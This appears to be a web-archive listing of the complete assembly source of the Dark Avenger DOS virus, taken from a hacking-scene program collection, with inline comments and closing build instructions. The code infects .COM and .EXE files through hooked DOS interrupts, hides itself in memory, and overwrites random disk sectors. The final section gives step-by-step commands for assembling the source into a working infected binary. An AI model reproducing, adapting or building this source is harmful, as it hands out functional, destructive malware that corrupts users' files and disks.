home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DARKAV.ZIP / DARKAV.ASM
Assembly Source File  |  1996-03-22  |  27KB  |  1,019 lines

  1. ;     DARK AVENGER VIRUS
  2.  
  3. code    segment
  4.         assume  cs:code,ds:code
  5. copyright:
  6.         db      'Eddie lives...somewhere in time!',0
  7. date_stamp:
  8.         dd      12239000h
  9. checksum:
  10.         db      30
  11.  
  12. ; Return the control to an .EXE file:
  13. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  14.  
  15.  
  16.  
  17.  
  18.  
  19. exit_exe:
  20.         mov     bx,es
  21.         add     bx,10h
  22.         add     bx,word ptr cs:[si+call_adr+2]
  23.         mov     word ptr cs:[si+patch+2],bx
  24.         mov     bx,word ptr cs:[si+call_adr]
  25.         mov     word ptr cs:[si+patch],bx
  26.         mov     bx,es
  27.         add     bx,10h
  28.         add     bx,word ptr cs:[si+stack_pointer+2]
  29.         mov     ss,bx
  30.         mov     sp,word ptr cs:[si+stack_pointer]
  31.         db      0eah                    ;JMP XXXX:YYYY
  32. patch:
  33.         dd      0
  34.  
  35. ; Returns control to a .COM file:
  36. ; Restores the first 3 bytes in the
  37. ; beginning of the file, loads SP and IP.
  38.  
  39. exit_com:
  40.  
  41.  
  42.  
  43.  
  44.         mov     di,100h
  45.         add     si,offset my_save
  46.         movsb
  47.         movsw
  48.         mov     sp,ds:[6]               ;This is incorrect
  49.         xor     bx,bx
  50.         push    bx
  51.         jmp     [si-11]                 ;si+call_adr-top_file
  52.  
  53. ; Program entry point
  54.  
  55. startup:
  56.         call    relative
  57. relative:
  58.         pop     si                      ;SI = $
  59.         sub     si,offset relative
  60.         cld
  61.         cmp     word ptr cs:[si+my_save],5a4dh
  62.         je      exe_ok
  63.         cli
  64.         mov     sp,si                   ;A separate stack is supported 
  65. for
  66.         add     sp,offset top_file+100h ;the .COM files, in order not to
  67.         sti                             ;overlap the stack by the 
  68. program
  69.         cmp     sp,ds:[6]
  70.         jnc     exit_com
  71. exe_ok:
  72.         push    ax
  73.         push    es
  74.         push    si
  75.         push    ds
  76.         mov     di,si
  77.  
  78. ; Looking for the address of INT 13h handler in ROM-BIOS
  79.  
  80.         xor     ax,ax
  81.         push    ax
  82.         mov     ds,ax
  83.         les     ax,ds:[13h*4]
  84.         mov     word ptr cs:[si+fdisk],ax
  85.         mov     word ptr cs:[si+fdisk+2],es
  86.         mov     word ptr cs:[si+disk],ax
  87.         mov     word ptr cs:[si+disk+2],es
  88.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to 
  89. INT 40h
  90.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  91.         jne     nofdisk                 ;available
  92.         mov     word ptr cs:[si+disk+2],ax
  93.         mov     ax,ds:[40h*4]
  94.         mov     word ptr cs:[si+disk],ax
  95.         mov     dl,80h
  96.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the 
  97. segment,
  98.         cmp     ax,0f000h               ;where the original INT 13h 
  99. vector is
  100.         je      isfdisk
  101.         cmp     ah,0c8h
  102.         jc      nofdisk
  103.         cmp     ah,0f4h
  104.         jnc     nofdisk
  105.         test    al,7fh
  106.         jnz     nofdisk
  107.         mov     ds,ax
  108.         cmp     ds:[0],0aa55h
  109.         jne     nofdisk
  110.         mov     dl,ds:[2]
  111. isfdisk:
  112.         mov     ds,ax
  113.         xor     dh,dh
  114.         mov     cl,9
  115.         shl     dx,cl
  116.         mov     cx,dx
  117.         xor     si,si
  118. findvect:
  119.         lodsw                           ;Occasionally begins with:
  120.         cmp     ax,0fa80h               ;       CMP     DL,80h
  121.         jne     altchk                  ;       JNC     somewhere
  122.         lodsw
  123.         cmp     ax,7380h
  124.         je      intchk
  125.         jne     nxt0
  126. altchk:
  127.         cmp     ax,0c2f6h               ;or with:
  128.         jne     nxt                     ;       TEST    DL,80h
  129.         lodsw                           ;       JNZ     somewhere
  130.         cmp     ax,7580h
  131.         jne     nxt0
  132. intchk:
  133.         inc     si                      ;then there is:
  134.         lodsw                           ;       INT     40h
  135.         cmp     ax,40cdh
  136.         je      found
  137.         sub     si,3
  138. nxt0:
  139.         dec     si
  140.         dec     si
  141. nxt:
  142.         dec     si
  143.         loop    findvect
  144.         jmp     short nofdisk
  145. found:
  146.         sub     si,7
  147.         mov     word ptr cs:[di+fdisk],si
  148.         mov     word ptr cs:[di+fdisk+2],ds
  149. nofdisk:
  150.         mov     si,di
  151.         pop     ds
  152.  
  153. ; Check whether the program is present in memory:
  154.  
  155.         les     ax,ds:[21h*4]
  156.         mov     word ptr cs:[si+save_int_21],ax
  157.         mov     word ptr cs:[si+save_int_21+2],es
  158.         push    cs
  159.         pop     ds
  160.         cmp     ax,offset int_21
  161.         jne     bad_func
  162.         xor     di,di
  163.         mov     cx,offset my_size
  164. scan_func:
  165.         lodsb
  166.         scasb
  167.         jne     bad_func
  168.         loop    scan_func
  169.         pop     es
  170.         jmp     go_program
  171.  
  172. ; Move the program to the top of memory:
  173. ; (it's full of rubbish and bugs here)
  174.  
  175. bad_func:
  176.         pop     es
  177.         mov     ah,49h
  178.         int     21h
  179.         mov     bx,0ffffh
  180.         mov     ah,48h
  181.         int     21h
  182.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  183.         jc      go_program
  184.         mov     cx,es
  185.         stc
  186.         adc     cx,bx
  187.         mov     ah,4ah
  188.         int     21h
  189.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  190.         stc
  191.         sbb     es:[2],bx
  192.         push    es
  193.         mov     es,cx
  194.         mov     ah,4ah
  195.         int     21h
  196.         mov     ax,es
  197.         dec     ax
  198.         mov     ds,ax
  199.         mov     word ptr ds:[1],8
  200.         call    mul_16
  201.         mov     bx,ax
  202.         mov     cx,dx
  203.         pop     ds
  204.         mov     ax,ds
  205.         call    mul_16
  206.         add     ax,ds:[6]
  207.         adc     dx,0
  208.         sub     ax,bx
  209.         sbb     dx,cx
  210.         jc      mem_ok
  211.         sub     ds:[6],ax               ;Reduction of the segment size
  212. mem_ok:
  213.         pop     si
  214.         push    si
  215.         push    ds
  216.         push    cs
  217.         xor     di,di
  218.         mov     ds,di
  219.         lds     ax,ds:[27h*4]
  220.         mov     word ptr cs:[si+save_int_27],ax
  221.         mov     word ptr cs:[si+save_int_27+2],ds
  222.         pop     ds
  223.         mov     cx,offset aux_size
  224.         rep     movsb
  225.         xor     ax,ax
  226.         mov     ds,ax
  227.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  228.         mov     ds:[21h*4+2],es
  229.         mov     ds:[27h*4],offset int_27
  230.         mov     ds:[27h*4+2],es
  231.         mov     word ptr es:[filehndl],ax
  232.         pop     es
  233. go_program:
  234.         pop     si
  235.  
  236. ; Smash the next disk sector:
  237.  
  238.         xor     ax,ax
  239.         mov     ds,ax
  240.         mov     ax,ds:[13h*4]
  241.         mov     word ptr cs:[si+save_int_13],ax
  242.         mov     ax,ds:[13h*4+2]
  243.         mov     word ptr cs:[si+save_int_13+2],ax
  244.         mov     ds:[13h*4],offset int_13
  245.         add     ds:[13h*4],si
  246.         mov     ds:[13h*4+2],cs
  247.         pop     ds
  248.         push    ds
  249.         push    si
  250.         mov     bx,si
  251.         lds     ax,ds:[2ah]
  252.         xor     si,si
  253.         mov     dx,si
  254. scan_envir:                             ;Fetch program's name
  255.         lodsw                           ;(with DOS 2.x it doesn't work 
  256. anyway)
  257.         dec     si
  258.         test    ax,ax
  259.         jnz     scan_envir
  260.         add     si,3
  261.         lodsb
  262.  
  263. ; The following instruction is a complete nonsense.  Try to enter a 
  264. drive &
  265. ; directory path in lowercase, then run an infected program from there.
  266. ; As a result of an error here + an error in DOS the next sector is not
  267. ; smashed. Two memory bytes are smashed instead, most probably onto the
  268. ; infected program.
  269.  
  270.         sub     al,'A'
  271.         mov     cx,1
  272.         push    cs
  273.         pop     ds
  274.         add     bx,offset int_27
  275.         push    ax
  276.         push    bx
  277.         push    cx
  278.         int     25h
  279.         pop     ax
  280.         pop     cx
  281.         pop     bx
  282.         inc     byte ptr [bx+0ah]
  283.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  284.         jnz     store_sec               ;nothing is not enough for some.
  285.         mov     al,[bx+10h]
  286.         xor     ah,ah
  287.         mul     word ptr [bx+16h]
  288.         add     ax,[bx+0eh]
  289.         push    ax
  290.         mov     ax,[bx+11h]
  291.         mov     dx,32
  292.         mul     dx
  293.         div     word ptr [bx+0bh]
  294.         pop     dx
  295.         add     dx,ax
  296.         mov     ax,[bx+8]
  297.         add     ax,40h
  298.         cmp     ax,[bx+13h]
  299.         jc      store_new
  300.         inc     ax
  301.         and     ax,3fh
  302.         add     ax,dx
  303.         cmp     ax,[bx+13h]
  304.         jnc     small_disk
  305. store_new:
  306.         mov     [bx+8],ax
  307. store_sec:
  308.         pop     ax
  309.         xor     dx,dx
  310.         push    ax
  311.         push    bx
  312.         push    cx
  313.         int     26h
  314.  
  315.  
  316. ; The writing trough this interrupt is not the smartest thing, bacause 
  317. it
  318. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  319.  
  320.         pop     ax
  321.         pop     cx
  322.         pop     bx
  323.         pop     ax
  324.         cmp     byte ptr [bx+0ah],0
  325.         jne     not_now
  326.         mov     dx,[bx+8]
  327.         pop     bx
  328.         push    bx
  329.         int     26h
  330. small_disk:
  331.         pop     ax
  332. not_now:
  333.         pop     si
  334.         xor     ax,ax
  335.         mov     ds,ax
  336.         mov     ax,word ptr cs:[si+save_int_13]
  337.         mov     ds:[13h*4],ax
  338.         mov     ax,word ptr cs:[si+save_int_13+2]
  339.         mov     ds:[13h*4+2],ax
  340.         pop     ds
  341.         pop     ax
  342.         cmp     word ptr cs:[si+my_save],5a4dh
  343.         jne     go_exit_com
  344.         jmp     exit_exe
  345. go_exit_com:
  346.         jmp     exit_com
  347. int_24:
  348.         mov     al,3                    ;This instruction seems 
  349. unnecessary
  350.         iret
  351.  
  352. ; INT 27h handler (this is necessary)
  353.  
  354. int_27:
  355.         pushf
  356.         call    alloc
  357.         popf
  358.         jmp     dword ptr cs:[save_int_27]
  359.  
  360. ; During the DOS functions Set & Get Vector it seems that the virus has 
  361. not
  362. ; intercepted them (this is a doubtfull advantage and it is a possible
  363. ; source of errors with some "intelligent" programs)
  364.  
  365. set_int_27:
  366.         mov     word ptr cs:[save_int_27],dx
  367.         mov     word ptr cs:[save_int_27+2],ds
  368.         popf
  369.         iret
  370. set_int_21:
  371.         mov     word ptr cs:[save_int_21],dx
  372.         mov     word ptr cs:[save_int_21+2],ds
  373.         popf
  374.         iret
  375. get_int_27:
  376.         les     bx,dword ptr cs:[save_int_27]
  377.         popf
  378.         iret
  379. get_int_21:
  380.         les     bx,dword ptr cs:[save_int_21]
  381.         popf
  382.         iret
  383.  
  384. exec:
  385.  
  386.  
  387.         call    do_file
  388.         call    alloc
  389.         popf
  390.         jmp     dword ptr cs:[save_int_21]
  391.  
  392.         db      'Diana P.',0
  393.  
  394. ; INT 21h handler.  Infects files during execution, copying, browsing or
  395. ; creating and some other operations. The execution of functions 0 and 
  396. 26h
  397. ; has bad consequences.
  398.  
  399. int_21:
  400.         push    bp
  401.         mov     bp,sp
  402.         push    [bp+6]
  403.         popf
  404.         pop     bp
  405.         pushf
  406.         call    ontop
  407.         cmp     ax,2521h
  408.         je      set_int_21
  409.         cmp     ax,2527h
  410.         je      set_int_27
  411.         cmp     ax,3521h
  412.         je      get_int_21
  413.         cmp     ax,3527h
  414.         je      get_int_27
  415.         cld
  416.         cmp     ax,4b00h
  417.         je      exec
  418.         cmp     ah,3ch
  419.         je      create
  420.         cmp     ah,3eh
  421.         je      close
  422.         cmp     ah,5bh
  423.         jne     not_create
  424. create:
  425.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  426.         jne     dont_touch
  427.         call    see_name
  428.         jnz     dont_touch
  429.         call    alloc
  430.         popf
  431.         call    function
  432.         jc      int_exit
  433.         pushf
  434.         push    es
  435.         push    cs
  436.         pop     es
  437.         push    si
  438.         push    di
  439.         push    cx
  440.         push    ax
  441.         mov     di,offset filehndl
  442.         stosw
  443.         mov     si,dx
  444.         mov     cx,65
  445. move_name:
  446.         lodsb
  447.         stosb
  448.         test    al,al
  449.         jz      all_ok
  450.         loop    move_name
  451.         mov     word ptr es:[filehndl],cx
  452. all_ok:
  453.         pop     ax
  454.         pop     cx
  455.         pop     di
  456.         pop     si
  457.         pop     es
  458. go_exit:
  459.         popf
  460.         jnc     int_exit                ;JMP
  461. close:
  462.         cmp     bx,word ptr cs:[filehndl]
  463.         jne     dont_touch
  464.         test    bx,bx
  465.         jz      dont_touch
  466.         call    alloc
  467.         popf
  468.         call    function
  469.         jc      int_exit
  470.         pushf
  471.         push    ds
  472.         push    cs
  473.         pop     ds
  474.         push    dx
  475.         mov     dx,offset filehndl+2
  476.         call    do_file
  477.         mov     word ptr cs:[filehndl],0
  478.         pop     dx
  479.         pop     ds
  480.         jmp     go_exit
  481. not_create:
  482.         cmp     ah,3dh
  483.         je      touch
  484.         cmp     ah,43h
  485.         je      touch
  486.         cmp     ah,56h                  ;Unfortunately, the command 
  487. inter-
  488.         jne     dont_touch              ;preter does not use this 
  489. function
  490. touch:
  491.         call    see_name
  492.         jnz     dont_touch
  493.         call    do_file
  494. dont_touch:
  495.         call    alloc
  496.         popf
  497.         call    function
  498. int_exit:
  499.         pushf
  500.         push    ds
  501.         call    get_chain
  502.         mov     byte ptr ds:[0],'Z'
  503.         pop     ds
  504.         popf
  505. dummy   proc    far                     ;???
  506.         ret     2
  507. dummy   endp
  508.  
  509. ; Checks whether the file is .COM or .EXE.
  510. ; It is not called upon file execution.
  511.  
  512. see_name:
  513.         push    ax
  514.         push    si
  515.         mov     si,dx
  516. scan_name:
  517.         lodsb
  518.         test    al,al
  519.         jz      bad_name
  520.         cmp     al,'.'
  521.         jnz     scan_name
  522.         call    get_byte
  523.         mov     ah,al
  524.         call    get_byte
  525.         cmp     ax,'co'
  526.         jz      pos_com
  527.         cmp     ax,'ex'
  528.         jnz     good_name
  529.         call    get_byte
  530.         cmp     al,'e'
  531.         jmp     short good_name
  532. pos_com:
  533.         call    get_byte
  534.         cmp     al,'m'
  535.         jmp     short good_name
  536. bad_name:
  537.         inc     al
  538. good_name:
  539.         pop     si
  540.         pop     ax
  541.         ret
  542.  
  543. ; Converts into lowercase (the subroutines are a great thing).
  544.  
  545. get_byte:
  546.         lodsb
  547.         cmp     al,'C'
  548.         jc      byte_got
  549.         cmp     al,'Y'
  550.         jnc     byte_got
  551.         add     al,20h
  552. byte_got:
  553.         ret
  554.  
  555. ; Calls the original INT 21h.
  556.  
  557. function:
  558.         pushf
  559.         call    dword ptr cs:[save_int_21]
  560.         ret
  561.  
  562. ; Arrange to infect an executable file.
  563.  
  564. do_file:
  565.         push    ds                      ;Save the registers in stack
  566.         push    es
  567.         push    si
  568.         push    di
  569.         push    ax
  570.         push    bx
  571.         push    cx
  572.         push    dx
  573.         mov     si,ds
  574.         xor     ax,ax
  575.         mov     ds,ax
  576.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in 
  577. stack
  578.         push    es                      ;and changes them with what is 
  579. needed
  580.         push    ax
  581.         mov     ds:[24h*4],offset int_24
  582.         mov     ds:[24h*4+2],cs
  583.         les     ax,ds:[13h*4]
  584.         mov     word ptr cs:[save_int_13],ax
  585.         mov     word ptr cs:[save_int_13+2],es
  586.         mov     ds:[13h*4],offset int_13
  587.         mov     ds:[13h*4+2],cs
  588.         push    es
  589.         push    ax
  590.         mov     ds,si
  591.         xor     cx,cx                   ;Arranges to infect Read-only 
  592. files
  593.         mov     ax,4300h
  594.         call    function
  595.         mov     bx,cx
  596.         and     cl,0feh
  597.         cmp     cl,bl
  598.         je      dont_change
  599.         mov     ax,4301h
  600.         call    function
  601.         stc
  602. dont_change:
  603.         pushf
  604.         push    ds
  605.         push    dx
  606.         push    bx
  607.         mov     ax,3d02h                ;Now we can safely open the file
  608.         call    function
  609.         jc      cant_open
  610.         mov     bx,ax
  611.         call    disease
  612.         mov     ah,3eh                  ;Close it
  613.  
  614.         call    function
  615. cant_open:
  616.         pop     cx
  617.         pop     dx
  618.         pop     ds
  619.         popf
  620.         jnc     no_update
  621.         mov     ax,4301h                ;Restores file's attributes
  622.         call    function                ;if they were changed (just in 
  623. case)
  624. no_update:
  625.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  626.         mov     ds,ax
  627.         pop     ds:[13h*4]
  628.         pop     ds:[13h*4+2]
  629.         pop     ds:[24h*4]
  630.         pop     ds:[24h*4+2]
  631.         pop     dx                      ;Register restoration
  632.         pop     cx
  633.         pop     bx
  634.         pop     ax
  635.         pop     di
  636.         pop     si
  637.         pop     es
  638.         pop     ds
  639.         ret
  640.  
  641. ; This routine is the working horse.
  642.  
  643. disease:
  644.         push    cs
  645.         pop     ds
  646.         push    cs
  647.         pop     es
  648.         mov     dx,offset top_save      ;Read the file beginning
  649.         mov     cx,18h
  650.         mov     ah,3fh
  651.         int     21h
  652.         xor     cx,cx
  653.         xor     dx,dx
  654.         mov     ax,4202h                ;Save file length
  655.         int     21h
  656.         mov     word ptr [top_save+1ah],dx
  657.         cmp     ax,offset my_size       ;This should be top_file
  658.         sbb     dx,0
  659.         jc      stop_fuck_2             ;Small files are not infected
  660.         mov     word ptr [top_save+18h],ax
  661.         cmp     word ptr [top_save],5a4dh
  662.         jne     com_file
  663.         mov     ax,word ptr [top_save+8]
  664.         add     ax,word ptr [top_save+16h]
  665.         call    mul_16
  666.         add     ax,word ptr [top_save+14h]
  667.         adc     dx,0
  668.         mov     cx,dx
  669.         mov     dx,ax
  670.         jmp     short see_sick
  671. com_file:
  672.         cmp     byte ptr [top_save],0e9h
  673.         jne     see_fuck
  674.         mov     dx,word ptr [top_save+1]
  675.         add     dx,103h
  676.         jc      see_fuck
  677.         dec     dh
  678.         xor     cx,cx
  679.  
  680. ; Check if the file is properly infected
  681.  
  682.  
  683. see_sick:
  684.         sub     dx,startup-copyright
  685.         sbb     cx,0
  686.         mov     ax,4200h
  687.         int     21h
  688.         add     ax,offset top_file
  689.         adc     dx,0
  690.         cmp     ax,word ptr [top_save+18h]
  691.         jne     see_fuck
  692.         cmp     dx,word ptr [top_save+1ah]
  693.         jne     see_fuck
  694.         mov     dx,offset top_save+1ch
  695.         mov     si,dx
  696.         mov     cx,offset my_size
  697.         mov     ah,3fh
  698.         int     21h
  699.         jc      see_fuck
  700.         cmp     cx,ax
  701.         jne     see_fuck
  702.         xor     di,di
  703. next_byte:
  704.  
  705.         lodsb
  706.         scasb
  707.         jne     see_fuck
  708.         loop    next_byte
  709. stop_fuck_2:
  710.         ret
  711. see_fuck:
  712.         xor     cx,cx                   ;Seek to the end of file
  713.         xor     dx,dx
  714.         mov     ax,4202h
  715.         int     21h
  716.         cmp     word ptr [top_save],5a4dh
  717.         je      fuck_exe
  718.         add     ax,offset aux_size+200h ;Watch out for too big .COM 
  719. files
  720.         adc     dx,0
  721.         je      fuck_it
  722.         ret
  723.  
  724. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  725.  
  726. fuck_exe:
  727.         mov     dx,word ptr [top_save+18h]
  728.         neg     dl
  729.         and     dx,0fh
  730.         xor     cx,cx
  731.         mov     ax,4201h
  732.         int     21h
  733.         mov     word ptr [top_save+18h],ax
  734.         mov     word ptr [top_save+1ah],dx
  735. fuck_it:
  736.         mov     ax,5700h                ;Get file's date
  737.         int     21h
  738.         pushf
  739.         push    cx
  740.         push    dx
  741.         cmp     word ptr [top_save],5a4dh
  742.         je      exe_file                ;Very clever, isn't it?
  743.         mov     ax,100h
  744.         jmp     short set_adr
  745. exe_file:
  746.         mov     ax,word ptr [top_save+14h]
  747.         mov     dx,word ptr [top_save+16h]
  748. set_adr:
  749.         mov     di,offset call_adr
  750.         stosw
  751.         mov     ax,dx
  752.         stosw
  753.         mov     ax,word ptr [top_save+10h]
  754.         stosw
  755.         mov     ax,word ptr [top_save+0eh]
  756.         stosw
  757.         mov     si,offset top_save      ;This offers the possibilities 
  758. to
  759.         movsb                           ;some nasty programs to restore
  760.         movsw                           ;exactly the original length
  761.         xor     dx,dx                   ;of the .EXE files
  762.         mov     cx,offset top_file
  763.         mov     ah,40h
  764.         int     21h                     ;Write the virus
  765.         jc      go_no_fuck              ;(don't trace here)
  766.         xor     cx,ax
  767.         jnz     go_no_fuck
  768.         mov     dx,cx
  769.         mov     ax,4200h
  770.         int     21h
  771.         cmp     word ptr [top_save],5a4dh
  772.         je      do_exe
  773.         mov     byte ptr [top_save],0e9h
  774.         mov     ax,word ptr [top_save+18h]
  775.         add     ax,startup-copyright-3
  776.         mov     word ptr [top_save+1],ax
  777.         mov     cx,3
  778.         jmp     short write_header
  779. go_no_fuck:
  780.         jmp     short no_fuck
  781.  
  782. ; Construct the .EXE file's header
  783.  
  784. do_exe:
  785.         call    mul_hdr
  786.         not     ax
  787.         not     dx
  788.         inc     ax
  789.         jne     calc_offs
  790.         inc     dx
  791. calc_offs:
  792.         add     ax,word ptr [top_save+18h]
  793.         adc     dx,word ptr [top_save+1ah]
  794.         mov     cx,10h
  795.         div     cx
  796.         mov     word ptr [top_save+14h],startup-copyright
  797.         mov     word ptr [top_save+16h],ax
  798.         add     ax,(offset top_file-offset copyright-1)/16+1
  799.         mov     word ptr [top_save+0eh],ax
  800.         mov     word ptr [top_save+10h],100h
  801.         add     word ptr [top_save+18h],offset top_file
  802.         adc     word ptr [top_save+1ah],0
  803.         mov     ax,word ptr [top_save+18h]
  804.         and     ax,1ffh
  805.         mov     word ptr [top_save+2],ax
  806.         pushf
  807.         mov     ax,word ptr [top_save+19h]
  808.         shr     byte ptr [top_save+1bh],1
  809.         rcr     ax,1
  810.         popf
  811.         jz      update_len
  812.         inc     ax
  813. update_len:
  814.         mov     word ptr [top_save+4],ax
  815.         mov     cx,18h
  816. write_header:
  817.         mov     dx,offset top_save
  818.         mov     ah,40h
  819.         int     21h                     ;Write the file beginning
  820. no_fuck:
  821.         pop     dx
  822.         pop     cx
  823.         popf
  824.         jc      stop_fuck
  825.         mov     ax,5701h                ;Restore the original file date
  826.         int     21h
  827. stop_fuck:
  828.         ret
  829.  
  830. ; The following is used by the INT 21h and INT 27h handlers in 
  831. connection
  832. ; to the program hiding in memory from those who don't need to see it.
  833. ; The whole system is absurde and meaningless and it is also another 
  834. source
  835. ; for program conflicts.
  836.  
  837. alloc:
  838.         push    ds
  839.         call    get_chain
  840.         mov     byte ptr ds:[0],'M'
  841.         pop     ds
  842.  
  843. ; Assures that the program is the first one in the processes,
  844. ; which have intercepted INT 21h (yet another source of conflicts).
  845.  
  846. ontop:
  847.         push    ds
  848.         push    ax
  849.         push    bx
  850.         push    dx
  851.         xor     bx,bx
  852.         mov     ds,bx
  853.         lds     dx,ds:[21h*4]
  854.         cmp     dx,offset int_21
  855.         jne     search_segment
  856.         mov     ax,ds
  857.         mov     bx,cs
  858.         cmp     ax,bx
  859.         je      test_complete
  860.  
  861. ; Searches the segment of the sucker who has intercepted INT 21h, in
  862. ; order to find where it has stored the old values and to replace them.
  863. ; Nothing is done for INT 27h.
  864.  
  865.         xor     bx,bx
  866. search_segment:
  867.         mov     ax,[bx]
  868.         cmp     ax,offset int_21
  869.         jne     search_next
  870.         mov     ax,cs
  871.         cmp     ax,[bx+2]
  872.         je      got_him
  873. search_next:
  874.         inc     bx
  875.         jne     search_segment
  876.         je      return_control
  877. got_him:
  878.         mov     ax,word ptr cs:[save_int_21]
  879.         mov     [bx],ax
  880.         mov     ax,word ptr cs:[save_int_21+2]
  881.         mov     [bx+2],ax
  882.         mov     word ptr cs:[save_int_21],dx
  883.         mov     word ptr cs:[save_int_21+2],ds
  884.         xor     bx,bx
  885.  
  886. ; Even if he has not saved them in the same segment, this won't help 
  887. him.
  888.  
  889. return_control:
  890.         mov     ds,bx
  891.         mov     ds:[21h*4],offset int_21
  892.         mov     ds:[21h*4+2],cs
  893. test_complete:
  894.         pop     dx
  895.         pop     bx
  896.         pop     ax
  897.         pop     ds
  898.         ret
  899.  
  900. ; Fetch the segment of the last MCB
  901.  
  902. get_chain:
  903.         push    ax
  904.         push    bx
  905.         mov     ah,62h
  906.         call    function
  907.         mov     ax,cs
  908.         dec     ax
  909.         dec     bx
  910. next_blk:
  911.         mov     ds,bx
  912.         stc
  913.         adc     bx,ds:[3]
  914.         cmp     bx,ax
  915.         jc      next_blk
  916.         pop     bx
  917.         pop     ax
  918.         ret
  919.  
  920. ; Multiply by 16
  921.  
  922. mul_hdr:
  923.         mov     ax,word ptr [top_save+8]
  924. mul_16:
  925.         mov     dx,10h
  926.         mul     dx
  927.         ret
  928.  
  929.         db      'This program was written in the city of Sofia '
  930.         db      '(C) 1988-89 Dark Avenger',0
  931.  
  932. ; INT 13h handler.
  933. ; Calls the original vectors in BIOS, if it's a writing call
  934.  
  935. int_13:
  936.         cmp     ah,3
  937.         jnz     subfn_ok
  938.         cmp     dl,80h
  939.         jnc     hdisk
  940.         db      0eah                    ;JMP XXXX:YYYY
  941. my_size:                                ;--- Up to here comparison
  942. disk:                                   ; with the original is made
  943.         dd      0
  944. hdisk:
  945.         db      0eah                    ;JMP XXXX:YYYY
  946. fdisk:
  947.         dd      0
  948. subfn_ok:
  949.         db      0eah                    ;JMP XXXX:YYYY
  950. save_int_13:
  951.         dd      0
  952. call_adr:
  953.         dd      100h
  954.  
  955. stack_pointer:
  956.         dd      0                       ;The original value of SS:SP
  957. my_save:
  958.         int     20h                     ;The original contents of the 
  959. first
  960.         nop                             ;3 bytes of the file
  961. top_file:                               ;--- Up to here the code is 
  962. written
  963. filehndl    equ $                       ; in the files
  964. filename    equ filehndl+2              ;Buffer for the name of the 
  965. opened file
  966. save_int_27 equ filename+65             ;Original INT 27h vector
  967. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  968. aux_size    equ save_int_21+4           ;--- Up to here is moved into 
  969. memory
  970. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  971.                                         ;contains
  972.                                         ; - The first 24 bytes read from 
  973. file
  974.                                         ; - File length (4 bytes)
  975.                                         ; - The last bytes of the file
  976.                                         ;   (my_size bytes)
  977. top_bz      equ top_save-copyright
  978. my_bz       equ my_size-copyright
  979.  
  980. code    ends
  981.         end
  982.  
  983. ------------------------------------------------------------------------
  984. ------
  985.  
  986.      A few notes on assembling this virus.
  987.  
  988.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  989.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  990.      MASM will work just as well.
  991.  
  992.      1:
  993.          TASM AVENGER.ASM
  994.  
  995.      2:
  996.          TLINK AVENGER.OBJ
  997.  
  998.      3:
  999.          EXE2BIN AVENGER AVENGER.COM
  1000.  
  1001.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  1002.  
  1003.      4:  DEBUG
  1004.  
  1005.          n jmp.tmp
  1006.          e 0100  E9 68 00
  1007.  
  1008.          rcx
  1009.          3
  1010.          w
  1011.          q
  1012.  
  1013.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  1014.  
  1015.          There you have it....
  1016.  
  1017.  
  1018.  
  1019.